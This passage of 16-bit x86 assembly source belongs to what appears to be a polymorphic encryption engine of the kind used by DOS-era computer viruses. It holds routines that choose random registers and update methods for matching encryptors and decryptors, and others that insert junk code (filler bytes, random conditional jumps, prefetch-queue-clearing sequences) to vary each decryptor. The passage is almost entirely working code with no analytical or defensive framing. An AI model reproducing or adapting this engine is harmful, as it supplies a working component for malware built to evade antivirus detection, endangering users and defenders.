        mov     al,_encrypt_reg                 ; Encryption register used?
        and     ax,7
        cmp     al,4
        jz      swap_decrypt_encrypt

        call    get_rand_bx                     ; 75% chance of altering the
        cmp     bl,0c0                          ; encryption value register
        ja      swap_decrypt_encrypt            ; Exit if nothing is to occur

        call    choose_routine                  ; Select a method of updating
        call    handle_jmp_table_nogarble       ; Encode the decryption
        call    swap_decrypt_encrypt            ; Now work on encryption
finish_encryption:
        push    cx                              ; Save current bitmask
        and     cl,not 7                        ; Turn off garbling/mo routines
        call    [bx+si+1]                       ; Encode the same routine for
                                                ; the encryption
        pop     cx                              ; Restore the bitmask
        mov     _encryptpointer,di
        ret

choose_routine:
        mov     _nest,0                         ; Reset recursion counter
        call    one_in_two                      ; 50% chance of using an
        js      get_used_register               ; already used register as
                                                ; an update value
        call    get_rand_bx                     ; Get random number as the
                                                ; update value
        mov     si,offset oneregtable           ; Choose the update routine
                                                ; from this table
        jmp     short continue_choose_routine   ; Saves one byte over
                                                ; xchg dx,bx / ret
get_used_register:
; This routine returns, in DX, a register whose value is known at the current
; point in the encryption/decryption routines. SI is loaded with the offset
; of the appropriate table. The routine destroys BX.
        call    get_rand_bx                     ; Get a random number
        and     bx,7                            ; Convert to a register (0-7)
        cmp     bl,_sp                          ; Make sure it isn't SP; that
        jz      get_used_register               ; is always considered used
        cmp     byte ptr [bx+_used_regs],0      ; Check if the register is
        jz      get_used_register               ; currently in use
        mov     si,offset tworegtable           ; Use routine from this table
continue_choose_routine:
        xchg    dx,bx                           ; Move value to dx
        ret                                     ; and quit

swap_decrypt_encrypt:
        mov     _decryptpointer,di              ; save current pointer
        push    ax
        mov     al,_maxnest                     ; disable garbling
        mov     _nest,al
        pop     ax
        mov     di,_encryptpointer              ; replace with encryption
        ret                                     ; pointer

go_next:
; Upon entry, SI points to a dispatch table.  This routine calculates the
; address of the next table and sets SI to that value.
        push    ax
        lodsb                                   ; Get mask byte
        cbw                                     ; Convert it to a word
        add     si,ax                           ; Add it to the current 
        pop     ax                              ; location (table+1)
        inc     si                              ; Add two more to adjust
        inc     si                              ; for the mask
        ret                                     ; (mask = size - 3)

clear_used_regs:
        xor     ax,ax                           ; Mark registers unused
        mov     di,offset _used_regs            ; Alter _used_regs table
        stosw
        stosw
        inc     ax                              ; Mark SP used
        stosw
        dec     ax
        stosw
        ret

get_another:                                    ; Get an unused register
        call    get_rand                        ; Get a random number
        and     ax,7                            ; convert to a register
;        cmp     al,_sp
;        jz      get_another
        mov     si,ax
        cmp     [si+_used_regs],0               ; Check if used already
        jnz     get_another                     ; Yes, try again
        inc     [si+_used_regs]                 ; Otherwise mark the register
        ret                                     ; used and return

clear_reg_dx:                                   ; Mark the register in DX
        xchg    ax,dx                           ; unused
clear_reg:                                      ; Mark the register in AX
        mov     si,ax                           ; unused
        mov     byte ptr [si+_used_regs],0
        ret

free_regs:
; This checks for any free registers and sets the zero flag if there are.
        push    ax cx di
        mov     di,offset _used_regs
        mov     cx,8
        xor     ax,ax
        repne   scasb
        pop     di cx ax
        ret

one_in_two:                                     ; Gives 50% chance of
        push    ax                              ; something happening
        call    get_rand                        ; Get a random number
        or      ax,ax                           ; Sign flag set 50% of the
        pop     ax                              ; time
        ret

get_rand_bx:                                    ; Get a random number to BX
        xchg    ax,bx                           ; Save AX
        call    get_rand                        ; Get a random number
        xchg    ax,bx                           ; Restore AX, set BX to the
return:                                         ; random number
        ret

garble_onebyte:
; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
        xchg    ax,dx                           ; Get the random number in AX
        and     al,7                            ; Convert to table offset
        mov     bx,offset onebytetable          ; Table of random bytes
        xlat                                    ; Get the byte
        stosb                                   ; and encode it
        ret

garble_jmpcond:
; Encode a random short conditional or unconditional JMP instruction.  The
; target of the JMP is an unspecified distance away.  Valid instructions
; take up the space between the JMP and the target.
        xchg    ax,dx                           ; Random number to AX
        and     ax,0f                           ; Convert to a random JMP
        or      al,70                           ; instruction
        stosw                                   ; Encode it
        push    di                              ; Save current location
        call    garble  ; May need to check if too large
        mov     ax,di                           ; Get current location
        pop     bx                              ; Restore pointer to the JMP
        sub     ax,bx                           ; Calculate the offset
        mov     byte ptr [bx-1], al             ; Put it in the conditional
        ret                                     ; JMP

clear_PIQ:
; Encode instructions that clear the prefetch instruction queue.
;   CALL/POP
;   JMP SHORT
;   JMP
        call    get_rand                        ; Get a random number
        mov     dl,ah                           ; Put high byte in DL
        and     dx,0f                           ; Adjust so JMP target is
                                                ; between 0 and 15 bytes away
        and     ax,3                            ; Mask AX
        jz      clear_PIQ_call_pop              ; 1/4 chance of CALL/POP
        dec     ax
        jz      clear_PIQ_jmp_short             ; 1/4 chance of JMP SHORT

        mov     al,0e9                          ; Otherwise do a straight JMP
clear_PIQ_word:                                 ; Handler if offset is a word
        stosb                                   ; Store t